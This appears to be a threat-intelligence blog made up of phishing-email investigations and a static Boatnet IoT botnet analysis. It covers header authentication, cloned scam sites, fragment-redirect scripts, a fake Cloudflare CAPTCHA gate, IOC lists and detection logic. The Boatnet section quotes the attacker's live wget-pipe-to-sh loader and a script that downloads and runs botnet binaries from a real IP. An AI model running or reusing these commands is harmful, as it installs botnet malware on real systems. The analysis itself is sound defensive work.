Email Artifacts​

Email Authentication​

The Gmail authentication result is technically clean; this is the important boring-but-useful distinction:

SPF:   PASS for [email protected]
DKIM:  PASS for gmail.com
DMARC: PASS for gmail.com

It means Gmail authenticated Gmail. Helpful!

The more useful line is the SMTP submission:

Received: from mail.Calixo.me
  (ec2-13-204-180-155.ap-south-1.compute.amazonaws.com. [13.204.180.155])
  by smtp.gmail.com with ESMTPSA

ESMTPSA is important because it indicates authenticated SMTP submission to Gmail. In plain English: something logged in to Gmail SMTP and submitted this message from an AWS EC2 host.

This is why authenticated mail can still be trash. A message can pass SPF, DKIM, and DMARC for the account that sent it, while the content is still pretending to be something else entirely.

Unsubscribe Links​

The metadata points to UNC School of Government infrastructure:

List-Unsubscribe: https://www.sog.unc.edu/unsubscribe/...
X-Unsubscribe-Web: https://sog.unc.edu/oc/Mn0nfocytOPSbvR5uBz8TB3HvVuAyL.9dzs/7b80de18
List-Unsubscribe-Post: List-Unsubscribe=One-Click

First-Hop Infrastructure​

The actual action links and rendered images lived in a DigitalOcean Spaces bucket:

https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.html#cl/334356_md/1299/15346052/1011/206/22373
https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/2.html#un/334356_md/1299/15346052/1011/206/22373

The images were hosted from the same bucket:

https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.png
https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/2.png

The fragments are the useful shape:

#cl/334356_md/1299/15346052/1011/206/22373
#un/334356_md/1299/15346052/1011/206/22373

The cl branch appears to be the click path, while un appears to be the unsubscribe path. Both reuse the same campaign or recipient-looking values.

By the time I checked, every first-stage object returned:

The screenshot captured:

<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
<Resource>hnbvcwbxbubu/1.html</Resource>

Closing Text Padding​

After the visible HTML, the raw source wanders off into unrelated content. There is an old-looking political gift email thread, a Global Agriculture and Food Security Program thread, FAO/World Bank-looking contacts, and other copied text.

Snippets include:

POTUS/FLOTUS gifts received in Russia
Global Agriculture and Food Security Program
GAFSP Cote d'Ivoire Submission

IOCs​

[email protected]
mail.Calixo.me
hnbvcwbxbubu.sfo2.digitaloceanspaces.com

Observations & Conclusions​

• The first-hop lure used a DigitalOcean Spaces bucket in sfo2.
• The click and unsubscribe URLs carried matching fragment-style tracking paths.
• The duplicate X-Google-Original-From headers, unrelated sog.unc.edu unsubscribe URLs, and grab-bag of bulk-mail platform headers make this look assembled from mismatched template parts

Overview​

A tiny business-proposal, how quaint!

Hello.
Did you receive the business sales proposal I sent to you yesterday? kindly acknowledge it.

Kind Regards

Short, bland, no attachment, no link - just enough to make someone reply with "what proposal?"

Methodology​

For this lure, I treated the message like a reply-chain starter rather than a link-delivery sample:

1. Review the raw headers and Gmail authentication results.
2. Separate mail authentication from sender legitimacy.
3. Pivot on the Reply-To domain instead of only the visible From.
4. Review passive DNS, certificate SANs, and visible web content.
5. Compare the fake business fronts for cloned assets, source comments, and contact reuse.
6. Check exposed mail-hosting surfaces like autoconfig, autodiscover, webmail, cPanel, and WHM.
7. Keep hosting IPs in the background unless they explain a pivot.

Tools used​

• Gmail message source and rendered-message view
• VirusTotal domain, certificate, and community graph pivots
• AbuseIPDB for mail-infrastructure reputation context
• Google search for indexed clone pages and reused contact strings
• Browser developer tools for source comments and visible hosting panels
• dig, curl, openssl, and light TCP reachability checks for DNS, TLS, and service exposure

Investigation​

The lure​

The message presented itself as:

From: "DR. ROZENTAL ALEKSANDR" <[email protected]>
Subject: Business Requests
Reply-To: [email protected]
To: "DR. ROZENTAL ALEKSANDR" <[email protected]>

Authentication looked good:

SPF:   PASS
DKIM:  PASS for markusnovanlaw.org
DMARC: PASS with policy p=NONE

But, authenticated mail can still be bad mail. SPF, DKIM, and DMARC all passed for the sender domain, and Gmail still shoved it into spam because the rest of the message looked like spam it had seen before.

The more useful tell was the identity split:

Visible sender: markusnovanlaw.org
Reply-To:       saipoveldar.com
SMTP residue:   denpharmsltd.com

The message used a law/doctor sender identity, but replies were directed into a different domain entirely.

The sender domain​

Browsing to markusnovanlaw.org showed a default CyberPanel installation page:

CyberPanel Installed
You have successfully installed CyberPanel, please remove this page and upload your website. :)

So the domain could authenticate mail, but the public site was just a default panel page. Not exactly a confidence builder!

The mail path also exposed an older server identity:

Received: from denpharmsltd.com (markusnovanlaw.org [...])

AbuseIPDB history tied that same SMTP identity to prior spam reports. VirusTotal passive DNS also showed denpharmsltd.com in the same mail-hosting neighborhood before markusnovanlaw.org appeared.

The reply-to domain​

The Reply-To domain, saipoveldar.com, did not present as Saipov Eldar, law, or anything resembling the sender. It was pharma instead.

It served a site branded as:

KOVDACK PHARMA

The same content also appeared through kovdackpharmltd.com. A related domain, noozkackpharmaltd.com, used the same site structure, same hero text, same product categories, same Cyprus location story, and the same overall visual template.

The shared hero copy:

When it comes to pharmaceuticals,
patients come first.

The repeated business framing:

Kovdack Pharmaceuticals LTD
Noozkack Pharmaceuticals LTD
Movzen Pharmaceuticals LTD
Dooxweck Pharmaceuticals LTD

The source comment​

The best artifact was sitting in the page source:

<!-- Mirrored from www.delorbispharma.eu/ by HTTrack Website Copier/3.x
[XR&CO'2014], Tue, 06 May 2025 14:01:07 GMT -->

The copied pages also retained:

window.status='Powered by EasyConsole CMS';

So the fake pharma fronts were not lovingly handcrafted. They appear to be HTTrack mirrors of www.delorbispharma.eu, with brand names, emails, street numbers, and phone numbers swapped.

More clone brands surfaced​

Search and certificate pivots expanded the cluster:

kovdackpharmltd.com
noozkackpharmaltd.com
movzenpharmltd.com
dooxweckpharmaltd.com
saipoveldar.com

The phone and persona reuse made the cluster easier to see:

[email protected]
[email protected]
[email protected]
[email protected]

The original email used the rozentalaleksandr persona. The fake pharma layer reused that name on dooxweckpharmaltd.com.

Search results for dooxweckpharmaltd.com showed the same cloned pharma shape:

Certificate SANs exposed the staging pattern​

Certificate pivots connect the fake pharma fronts. One certificate for the Kovdack/Noozkack/Saipoveldar cluster included:

*.kovdackpharmltd.com
*.noozkackpharmaltd.com
*.saipoveldar.com
kovdackpharmltd.com
noozkackpharmaltd.com
saipoveldar.com
www.kovdackpharmltd.com.saipoveldar.com
www.noozkackpharmaltd.com.saipoveldar.com

And, weirdly:

*.com.saipoveldar.com

That last one looked like a generated or sloppy namespace artifact rather than an active wildcard. Random names under that pattern did not resolve when I checked, but the named nested hosts were live and served the cloned pharma pages.

Another cluster branch used:

movzenpharmltd.com.cndlogisticsid.com
www.movzenpharmltd.com.cndlogisticsid.com

Those were also live. They served the Movzen pharma clone under a domain that otherwise presented as an Indonesian logistics company. Sure. Why should one fake business vertical have all the fun?

ViewDNS had more of the same under cndlogisticsid.com:

Some of these were just nested hostnames, some were live sites:

denpharmltd.com.cndlogisticsid.com
drpsf.online.cndlogisticsid.com
movzen-pharmltd.com.cndlogisticsid.com
cndlogisticsuc.com.cndlogisticsid.com

movzen-pharmltd.com.cndlogisticsid.com did not show the polished pharma clone when I loaded it. It showed a directory index with only cgi-bin:

drpsf.online.cndlogisticsid.com served a "Dubai Retirement Pension Scheme Fund" site:

The footer claimed:

Email: [email protected]
Phone: +971 52 276 0126

(Shoutout to our prior finding of drpsf.site!)

And the source had another HTTrack receipt:

<!-- Mirrored from www.thewealthkarma.com/ by HTTrack Website Copier/3.x
[XR&CO'2014], Sun, 25 Jan 2026 16:26:25 GMT -->

So the cloning pattern was not limited to pharma. It also included a fake pension/finance front copied from a different source site.

denpharmltd.com.cndlogisticsid.com served a Denpharm-branded pharma/lab automation page:

And, again, the source gave away the copy job:

<!-- Mirrored from denpharmltd.com/ by HTTrack Website Copier/3.x
[XR&CO'2014], Tue, 16 Nov 2021 06:36:41 GMT -->

Denpharm is not new​

The Denpharm branch has history outside this cluster.

A public Reddit warning from 2024 called out denpharmltd.com alongside organicosherbalfarm.com and described the setup as a procurement scam using fake pharmaceutical and herbal-supplier personas. The post named [email protected], [email protected], and [email protected], plus the same sort of "director / managing director" cosplay that showed up in the cloned sites.

There was also a Facebook post with a longer version of the script. The pitch was classic advance-fee/procurement bait: a pharma buyer needs a herbal oil extract supplier, asks the victim to act as the local dealer, then talks through big per-barrel profit margins.

The same public warning included alleged fake passport images for the Tomas Kaplan and Hale Natalia personas:

A separate Betrugsalarm report from September 2024 pointed at organicosherbalfarm.com, [email protected], the Andi Lesmana Jakarta name, and the same Indonesian phone number family:

Fraudulent email: [email protected]
Pseudonym used:   Andi Lesmana Jakarta
Website:          www.organicosherbalfarm.com
Phone:            +62006283194188237

That makes denpharmltd.com more than a random clone found under cndlogisticsid.com. It appears to be an older front that had already been reported in public scam warnings, then later showed up again in the same nested-hostname style as the current cluster.

The Organicos side had its own clone residue:

<!-- Mirrored from idealnaturalextract.com/ by HTTrack Website Copier/3.x
[XR&CO'2014], Thu, 25 Nov 2021 21:41:22 GMT -->

The live-looking source site, idealnaturalextract.com, still showed the same herbal-extract theme and product language:

The certificate history for organicosherbalfarm.com also had a familiar little nested-domain tell:

*.organicosherbalfarm.com
organicosherbalfarm.com
organicosherbalfarm.organicosherbalsac.com
www.organicosherbalfarm.organicosherbalsac.com

And Google still had organicosherbalsac.com indexed from the catalogue:

Subdomain discovery for organicosherbalsac.com added one more Denpharm bridge and a couple of names worth later checking:

denpharmltd.organicosherbalsac.com
organicosherbalfarm.organicosherbalsac.com
akmarinellc.organicosherbalsac.com
banck.organicosherbalsac.com

The last page carried the contact details:

[email protected]
+62-83872929468

And because this cluster is sloppy, /images/ listed the site assets directly:

So the Denpharm/Organicos piece looks like an older procurement-scam branch: public warnings, cloned company sites, fake identity material, a product catalogue, and another nested-domain/certificate breadcrumb.

The Denpharm site itself still had a few helpful pages exposed. The team page included MC Hale Natalia and Dr. Tomas Kaplan, matching the names from the public warnings:

The contact page added more UK phone numbers:

Tel:      +447572442793
WhatsApp: +447495466178
Email:    [email protected]

And index-2.html still carried the HTTrack timestamp:

<!-- Mirrored from denpharmltd.com/index.html by HTTrack Website Copier/3.x
[XR&CO'2014], Tue, 16 Nov 2021 06:37:41 GMT -->

The "CND Logistics" theme also had a sibling-looking site:

cndlogisticsuc.com
cndlogisticsuc.com.cndlogisticsid.com

Mail hosting surfaces​

The fake pharma domains exposed the usual hosted-mail and control-panel elements:

autoconfig.kovdackpharmltd.com
autodiscover.kovdackpharmltd.com
cpanel.kovdackpharmltd.com
webmail.kovdackpharmltd.com
whm.kovdackpharmltd.com 
mail.kovdackpharmltd.com

The autoconfig endpoint returned a Thunderbird-style XML profile:

<emailProvider id="kovdackpharmltd.com">
  <domain>kovdackpharmltd.com</domain>
  <incomingServer type="imap">
    <hostname>mail.kovdackpharmltd.com</hostname>
    <port>993</port>
    <socketType>SSL</socketType>
    <authentication>password-cleartext</authentication>
  </incomingServer>
  <outgoingServer type="smtp">
    <hostname>mail.kovdackpharmltd.com</hostname>
    <port>465</port>
    <socketType>SSL</socketType>
    <authentication>password-cleartext</authentication>
  </outgoingServer>
</emailProvider>

noozkackpharmaltd.com (and others) exposed the same kind of autoconfig profile for its own mail host.

The mail-service pivot​

movzenpharmltd.com used a shared mail exchanger at one point in the investigation. VirusTotal confirms the mail service touched by this cluster has suspicious community context:

At least 10 detected files communicating with this domain

Contained in graphs:
- Muddy Water MOIS
- Handala
- Croatia
- Checkmate Malware Hash
- plingest.com
- UAlberta Phishing Domains - 09.24.25

Also, reverse-MX data showed a huge number of domains using that mail server. So, for IOC purposes, I am treating it as shared hosting/mail context rather than campaign-specific infrastructure.

IOCs​

Email identities​

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

Names and pseudonyms​

DR. ROZENTAL ALEKSANDR
Tomas Kaplan
MC Hale Natalia
Andi Lesmana Jakarta
Baskoro Singgin

Domains and hostnames​

markusnovanlaw.org
denpharmsltd.com
saipoveldar.com
kovdackpharmltd.com
noozkackpharmaltd.com
movzenpharmltd.com
dooxweckpharmaltd.com
cndlogisticsid.com
cndlogisticsuc.com
drpsf.site
drpsf.online
denpharmltd.com
organicosherbalfarm.com
organicosherbalsac.com

Nested hostnames​

movzenpharmltd.com.cndlogisticsid.com
www.movzenpharmltd.com.cndlogisticsid.com
movzen-pharmltd.com.cndlogisticsid.com
www.movzen-pharmltd.com.cndlogisticsid.com
denpharmltd.com.cndlogisticsid.com
www.denpharmltd.com.cndlogisticsid.com
drpsf.online.cndlogisticsid.com
www.drpsf.online.cndlogisticsid.com
cndlogisticsuc.com.cndlogisticsid.com
www.cndlogisticsuc.com.cndlogisticsid.com
kovdackpharmltd.com.saipoveldar.com
www.kovdackpharmltd.com.saipoveldar.com
noozkackpharmaltd.com.saipoveldar.com
www.noozkackpharmaltd.com.saipoveldar.com
organicosherbalfarm.organicosherbalsac.com
www.organicosherbalfarm.organicosherbalsac.com
denpharmltd.organicosherbalsac.com

Exposed service hostnames​

autoconfig.kovdackpharmltd.com
autodiscover.kovdackpharmltd.com
cpanel.kovdackpharmltd.com
webmail.kovdackpharmltd.com
whm.kovdackpharmltd.com
mail.kovdackpharmltd.com

autoconfig.noozkackpharmaltd.com
autodiscover.noozkackpharmaltd.com
ftp.noozkackpharmaltd.com
mail.noozkackpharmaltd.com

Reused visible contact values​

+357 96 692 221
+357 95 550 432
+357 95 550 454
+357 96 910 893
+971 52 276 0126
+44 7572 443336
+62 83194188237
+62 83872929468
+62006283194188237
+44 7572 442793
+44 7495 466178

Detection Logic​

IF
email authentication passes
AND the visible sender domain differs from the Reply-To domain
THEN
reply-chain fraud or BEC-style conversation starter likely

Observations & Conclusions​

1. SPF, DKIM, and DMARC passed, but authentication only proved control of the sending domain.
2. The sender domain had a default CyberPanel page, not a credible law or doctor-related public site. (or even fake website prose).
3. The Reply-To domain led into the fake pharma cluster.
4. The pharma sites retained HTTrack comments naming www.delorbispharma.eu as the mirrored source.
5. Kovdack, Noozkack, Movzen, and Dooxweck reused the same copied site structure with lightly edited names and contact details.
6. Certificate and subdomain pivots exposed nested hostnames under saipoveldar.com and cndlogisticsid.com, several of which were live and serving cloned business pages.
7. Mail autoconfig, webmail, cPanel, and WHM endpoints showed these domains were set up for operational mail.
8. Public scam warnings tied denpharmltd.com to an older procurement-scam script and paired it with organicosherbalfarm.com.
9. The Organicos branch had the same clone residue: HTTrack comments, a copied herbal-extract source site, indexed catalogue material, and nested certificate names.

Very normal. Very business. Please acknowledge the proposal I allegedly sent yesterday.

Overview​

Yes, a million-dollar jackpot!

Congratulations!
You have won a 100% FREE chance to win the $1,000,000 Jackpot!
Claim your chance

The footer claims the message came from Code Rewards, which is generic enough to feel promotion-adjacent without requiring much brand impersonation effort.

Methodology​

For this lure, I preserved the visible page, reviewed the message headers, and inspected the first hosted object without interacting with the final destination:

1. Capture the rendered lure.
2. Review the sender, recipient, timestamps, SPF, and DMARC result.
3. Inspect the HTML for hidden filler content and action links.
4. Decode the fragment payloads supplied in the CTA and unsubscribe URLs.
5. Fetch the Google Cloud Storage HTML object directly.
6. Review the client-side redirect script.
7. Separate reusable campaign infrastructure from likely recipient or campaign-specific values.

Tools used​

• Browser developer tools in an isolated browser
• Manual Base64 decoding of the URL fragment
• curl for retrieving the first-stage HTML object
• Message source view for headers, authentication, and hidden HTML content
• Manual IOC extraction from the redirect script, message headers, and lure URL

Investigation​

Email authentication​

The message presented itself as:

From: CᴀsɪɴᴏRᴇᴡᴀʀᴅs <[email protected]>
Subject: user, No Deposit. No Risk. Just Real Casino Rewards!
Message-ID: <[email protected]>

Observed authentication and delivery details:

SPF:   PASS with IP 91.99.29.100
DMARC: FAIL
Return-Path: return23203@lzmhneiktu7oayw784.pc8yosm64vt5bg7784.y4jfbahri016w87784.16niztwhjrk0cu9.hotnewscam.com
Received from: hotnewscam.com (static.100.29.99.91.clients.your-server.de [91.99.29.100])

SPF passed for the long hotnewscam.com return-path subdomain, not for the visible porqxyxml.com address shown to the recipient. DMARC failed because the authenticated sending domain did not align with the visible From domain.

The raw message also contained a malformed date placeholder:

Date: _smtpDate . _EMAILID

HTML filler​

After the visible lure, the message includes a hidden block beginning with:

<ObJECT>
<tiTlE>
<div style="display:none;">
<!------------ START NEGATIVE ------------>

The hidden section mixes citrus-growing prose, random strings, copied-looking newsletter fragments, and unrelated transactional email snippets. That is classic content padding to make the message body look larger, more varied, and less obviously casino-spam-shaped to simple content filters.

Original links​

The lure CTA used a Google Cloud Storage object with the tracking payload placed after the fragment marker:

https://storage.googleapis.com/25kdhsale/NWBH25.html#?Z289MSZzMT0yMjc1NTE2JnMyPTQzMDAwNzA1MyZzMz1HTEI=

The fragment content is Base64-encoded campaign data. Decoded, it becomes:

go=1&s1=2275516&s2=430007053&s3=GLB

That gives us three likely campaign or recipient tracking fields:

s1=2275516
s2=430007053
s3=GLB

The unsubscribe link points to the same hosted object with a slightly different Base64 fragment:

https://storage.googleapis.com/25kdhsale/NWBH25.html#?Z289MiZzMT0yMjc1NTE2JnMyPTQzMDAwNzA1MyZzMz1HTEI=

Decoded, that becomes:

go=2&s1=2275516&s2=430007053&s3=GLB

So go=1 appears to mark the main claim action, while go=2 appears to mark the unsubscribe action. Both preserve the same s1, s2, and s3 values (since they refer to 'me'!)

Unsubscribe behavior​

The go=2 sandbox run did not simply fail or return a static page. It redirected into an opt-out flow at:

vinekeymate.com/o-qqgf-e81-226d3279736e0185769db1862f53e53d

The page title was:

We are sorry to see you go

The visible form requested an email address and included a checkbox labeled:

Request a Compliance Review of this email

In the network panel, a JSON response exposed campaign and opt-out metadata:

{
  "mailer_id": 77781,
  "campaign_id": 134750,
  "cma_id": 11804529,
  "source_client_id": 7009,
  "optout_type": "email",
  "redirectStatus": "eligible",
  "leafCampaignMailerId": 1811172,
  "brandIntegrityStatus": "eligible",
  "modernOptOutPageTrafficPercent": 100
}

Redirect script​

The Cloud Storage page is almost empty. Its job is to read whatever appears after #, preserve it, and forward the browser to a hard-coded IP over plain HTTP.

The fetched object served this script:

var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "49.13.68.203";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}

The typo in tarcking_param is interesting, as AI rarely mispells!

Resulting redirect​

Because the script appends the fragment value after /?, the original URL produces:

http://49.13.68.203/?Z289MSZzMT0yMjc1NTE2JnMyPTQzMDAwNzA1MyZzMz1HTEI=

After decoding the Base64 payload, the effective tracking values are:

go=1&s1=2275516&s2=430007053&s3=GLB

The first URL can carry tracking data after #, which is not sent to the server in the original HTTP request. Once JavaScript runs in the browser, the page reads that client-side fragment and turns it into a normal query-like value for the next hop.

Redirect host cover page and certificate​

Browsing directly to the redirect IP over HTTPS produced a certificate warning. The certificate presented by 49.13.68.203 was not issued to the IP address; it identified:

Common Name: nsrv1854.foxfigure.com
Issued by: nsrv1854.foxfigure.com
Validity: September 24, 2025 to September 24, 2026
Chrome error: NET::ERR_CERT_AUTHORITY_INVALID

The observed SHA-256 certificate fingerprint was:

cda057b477824905d27af2b3a63cee49540b7bf2dc76188a0f3f5bafaf5291c4

The public key fingerprint shown in the browser was:

f2ec3db0a69952926a6417d06eafcc45169c4e4f737de7c64c81baa707de469

The same host also served a plain cover page at:

https://49.13.68.203/index.html

That page branded itself as:

ARBO MARKETING
new idea ,new vision
GOOD MARKETING CONSULTING SERVICE

The certificate pivot also resolved back to the same marketing template. Visiting:

foxfigure.com/index.html

served another ARBO MARKETING page with the same title and visual layout:

IOCs​

storage.googleapis.com/25kdhsale/NWBH25.html
49.13.68.203
nsrv1854.foxfigure.com
foxfigure.com
foxfigure.com/index.html
cda057b477824905d27af2b3a63cee49540b7bf2dc76188a0f3f5bafaf5291c4
f2ec3db0a69952926a6417d06eafcc45169c4e4f737de7c64c81baa707de469
ARBO MARKETING
vinekeymate.com
vinekeymate.com/o-qqgf-e81-226d3279736e0185769db1862f53e53d
91.99.29.100
hotnewscam.com
porqxyxml.com
POrqXyXml.com
lzmhneiktu7oayw784.pc8yosm64vt5bg7784.y4jfbahri016w87784.16niztwhjrk0cu9.hotnewscam.com
static.100.29.99.91.clients.your-server.de
[email protected]
return23203@lzmhneiktu7oayw784.pc8yosm64vt5bg7784.y4jfbahri016w87784.16niztwhjrk0cu9.hotnewscam.com

Detection Logic​

IF
HTML contains hidden display-none blocks
AND hidden content mixes unrelated article prose, random strings, and copied email snippets
THEN
spam-filter evasion padding likely

IF
HTML object reads window.location.href.split('#')[1]
AND redirects to a hard-coded IP address over HTTP
THEN
fragment-handoff redirect behavior likely

Observations & Conclusions​

• SPF passed for the return-path infrastructure, but DMARC failed against the visible sender.
• The message date appears to contain an unexpanded spam-kit template value.
• The HTML includes a large hidden filler block for content-padding evasion.
• The first-stage page is hosted on Google Cloud Storage.
• CTA and unsubscribe tracking are carried in Base64-encoded fragments.
• The unsubscribe branch redirects to vinekeymate.com and exposes campaign metadata in JSON.
• The redirect IP presents an invalid certificate for nsrv1854.foxfigure.com.
• The redirect IP also serves an ARBO MARKETING cover page at /index.html.
• Client-side JavaScript converts the fragment into a redirect toward 49.13.68.203 (foxfigure).
• The hard-coded IP redirect uses plain HTTP.
• The misspelled tarcking_param variable is a small but useful clue.

Overview​

Sweet, a tool set!

Methodology​

For this type of email lure, I like to preserve a few layers separately:

1. Capture the rendered email before interacting with any links.
2. Review the sender, recipient, timestamps, and authentication results.
3. Inspect the raw HTML for hidden text, tracking, encoding tricks, and unusual objects.
4. Open the link in an isolated browser or sandbox.
5. Record the first-hop domain, JavaScript redirects, and any visible URL parameters.
6. Separate victim-specific fields from reusable campaign indicators.

Tools used​

• Email source view for MIME structure and hidden HTML content
• Message authentication summary for SPF, DKIM, and DMARC results
• Browser developer tools in an isolated environment (Browserling)
• Manual IOC extraction from the lure, auth panel, and first-hop landing page

Email Authentication​

The message presented itself as:

From: O'Reilly Auto Parts <[email protected]>
Subject: Claim Your Free Stanley Tool Set!
Created: Mon, Apr 27, 2026 at 3:35 PM

The authentication panel:

Observed results:

SPF:   PASS with IP 103.136.41.191
DKIM:  PASS with domain Uj30.store.ass0041.xalprimo.biz.ua
DMARC: FAIL

Investigation​

Lure structure​

The lure uses a familiar reward-survey flow:

Claim your free Stanley Tool Set
Complete this short 30-second survey
Get started now
Reward status: Pending

The rendered body also claims that the message was sent from a trusted sender. That line is part of the lure's credibility play, not an authentication result to trust.

Hidden filler text​

The HTML source included hidden content inside zero-height, zero-width, opacity-zero objects. The visible snippet begins with the trusted-sender language, then buries unrelated prose in the body.

Redirect chain​

The original link used a Google Cloud Storage object with campaign parameters placed after the fragment marker:

https://storage.googleapis.com/strow/strw_v3.html#?act=cl&pid=19298_md&uid=4&vid=849710&ofid=118&lid=486&cid=534301

That page presented a fake Cloudflare-style security check and used a Turnstile callback to preserve the fragment while moving the browser to the next host:

function onSuccess() {
  const h = window.location.hash || "";
  window.location.replace("http://strw3.gogomailbali.it.eu.org/" + h);
}

That produces:

http://strw3.gogomailbali.it.eu.org/#?act=cl&pid=19298_md&uid=4&vid=849710&ofid=118&lid=486&cid=534301

Fake Cloudflare gate​

The Cloud Storage page visually imitates a Cloudflare security check:

Under the hood, it loads Cloudflare's Turnstile API and embeds a Turnstile widget with a reusable-looking site key:

<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
<div class="cf-turnstile" data-sitekey="0x4AAAAAAAWyD8kIgIxaOYq5" data-callback="onSuccess"></div>

The page also generates a fake-looking Ray ID client-side:

document.getElementById('ray').textContent =
  Math.random().toString(36).substring(2, 10).toUpperCase();

That combination is a nice social-engineering layer: it borrows the look of a known security brand, presents the URL as already "clean," then requires interaction before forwarding the victim to the next campaign host.

https://challenges.cloudflare.com/turnstile/v0/api.js

{ event: "meow", source: "cloudflare-challenge", widgetId: ... }

case "food":
  ...

Landing page behavior​

The second-stage URL observed in the sandbox used:

strw3.gogomailbali.it.eu.org

The page itself was nearly empty except for a script that rewrites fragment-marked URLs into normal path separators:

The visible script logic checks whether the current URL contains #, then replaces escaped and unescaped hash markers with /.

In practical terms, this lets the actor place routing data after a URL fragment and then normalize it client-side after the page loads. It also makes the original link a little less straightforward for static URL parsers that do not execute JavaScript.

For this lure, the normalized next URL is:

http://strw3.gogomailbali.it.eu.org/?act=cl&pid=19298_md&uid=4&vid=849710&ofid=118&lid=486&cid=534301

And then I lost the redirect trail, drat!

Earlier-month pivot​

A related Hybrid Analysis submission from April 11, 2026 shows the same storage.googleapis.com/strow/strw_v3.html object, fake CAPTCHA/security verification behavior, and redirect to strw3.gogomailbali.it.eu.org:

• https://hybrid-analysis.com/sample/56be8f22434065af1080d922e24ea95d8beb1f967d86b346f01651ca28eb638a/69dacb78401c5f72a40ee976

That earlier sample used an encoded fragment:

https://storage.googleapis.com/strow/strw_v3.html?#%3Fact%3Dcl%26pid%3D18125_md%26uid%3D4%26vid%3D650852%26ofid%3D414%26lid%3D348%26cid%3D989216

After the Cloud Storage page redirected to strw3, the strw3 fragment-rewrite logic produced a path beginning with %3F instead of a normal query string:

http://strw3.gogomailbali.it.eu.org/%3Fact%3Dcl%26pid%3D18125_md%26uid%3D4%26vid%3D650852%26ofid%3D414%26lid%3D348%26cid%3D989216

Hybrid Analysis observed that encoded-path request returning 404 Not Found. That makes the newer literal #?act=... version worth noting: it normalizes into a clean query string instead of an encoded path.

Hybrid Analysis also matched the HTML against fake CAPTCHA social-engineering behavior. The relevant pattern was the combination of Cloudflare-branded verification text, Turnstile challenge markup, and the redirect callback:

Detected social engineering methods via fake CAPTCHA site in HTML
window.location.replace("http://strw3.gogomailbali.it.eu.org/" + h)
Security Verification
Cloudflare | Security Check

The embedded challenge script includes normal Cloudflare challenge terms such as cloudflare-challenge, turnstile_timeout, turnstile_expired, invalid_sitekey, and unsupported_browser. Those strings are not malicious on their own, but in this case they appear inside an attacker-controlled gate whose success callback redirects to unrelated HTTP infrastructure.

IOCs​

cultd.xfr
103.136.41.191
ass0041.xalprimo.biz.ua
gogomailbali.it.eu.org
56be8f22434065af1080d922e24ea95d8beb1f967d86b346f01651ca28eb638a

Detection Logic​

IF
message display name impersonates a known brand
AND DMARC fails
AND DKIM passes with a domain unrelated to the visible From domain
THEN
brand impersonation or spoofed reward lure likely

IF
HTML contains hidden zero-size or opacity-zero text blocks
THEN
spam-filter evasion likely

IF
page imitates Cloudflare security verification
AND callback redirects to an unrelated HTTP domain using window.location.hash
THEN
fake CAPTCHA gate for phishing redirect likely

Observations & Conclusions​

1. The social engineering is a simple survey-for-reward offer.
2. The sender identity imitates a recognizable retail brand.
3. The authentication results show partial pass signals but failed domain alignment.
4. The HTML includes hidden filler text to muddy content-based filtering.
5. The first stage uses a fake Cloudflare verification page hosted from Google Cloud Storage.
6. The second stage uses JavaScript to normalize a fragment-heavy tracking URL.
7. An April 11 sandbox sample shows the same hosted HTML object and redirect host - I'm not special, boo hoo!

Overview​

Boatnet - a multi-architecture IoT botnet component.

Campaign Graph​

Methodology​

This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)

1. Inspect ELF metadata without execution
2. Check entropy and obvious packer indicators (UPX packer was used)
3. Note high-entropy regions for offline inspection
4. Attempt safe unpacking only when packer evidence supports it
5. Use strings and command logs to separate static configuration from runtime (dynamic) configuration
6. Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure

Tools used​

You don't need anything fancy, just a few libraries:

• readelf, file, stat, and xxd for ELF structure and byte-level triage
• binwalk and binwalk -E for signature and entropy checks
• strings, grep, and shell one-liners for static indicator extraction
• upx for packer validation
• honeypot logs for attacker workflow and source correlation

Investigation​

The observed Boatnet loader command​

The Boatnet infrastructure artifact came from a command observed in the attacker workflow:

cd /tmp; wget http://2.26.98.67/bin.sh -O- | sh

Retrieve the script without executing it:

torsocks curl -v http://2.26.98.67/bin.sh -o /home/analysis/bin.sh

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 3371
Content-Type: text/x-sh

Inspect the script:

cat /home/analysis/bin.sh

Representative content:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://2.26.98.67/hiddenbin/boatnet.arm -O boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
curl -O http://2.26.98.67/hiddenbin/boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
...
wget http://2.26.98.67/hiddenbin/boatnet.x86_64 -O boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
curl -O http://2.26.98.67/hiddenbin/boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
rm -rf bin.sh

This is a classic architecture fanout loader: download every build, try to execute each one, delete it, and let the compatible one survive long enough to run.

Extract URLs from the loader​

Use a simple URL extractor:

grep -Eo 'http://[^ ]+' /home/analysis/bin.sh

Representative result:

http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Check whether the payload directory is exposed​

Query the directory directly (using torsocks or proxychains or whatever):

